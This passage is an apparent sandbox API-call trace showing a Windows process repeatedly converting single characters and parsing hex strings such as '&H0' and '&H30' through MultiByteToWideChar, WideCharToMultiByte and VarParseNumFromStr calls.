returned 0x0 [0191.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.055] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.055] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.056] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.056] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.056] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.056] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.057] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.057] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.058] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.058] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.059] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.059] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.060] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.060] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.061] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.061] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.061] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.061] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.062] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.062] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.063] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.063] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.064] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.064] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.065] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.065] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.066] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.066] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.067] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.067] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.067] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.067] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.068] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.068] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.069] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.069] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0191.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0191.070] VarParseNumFromStr (in: strIn="&H30", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.070] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0191.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 1 [0191.071] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.071] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: 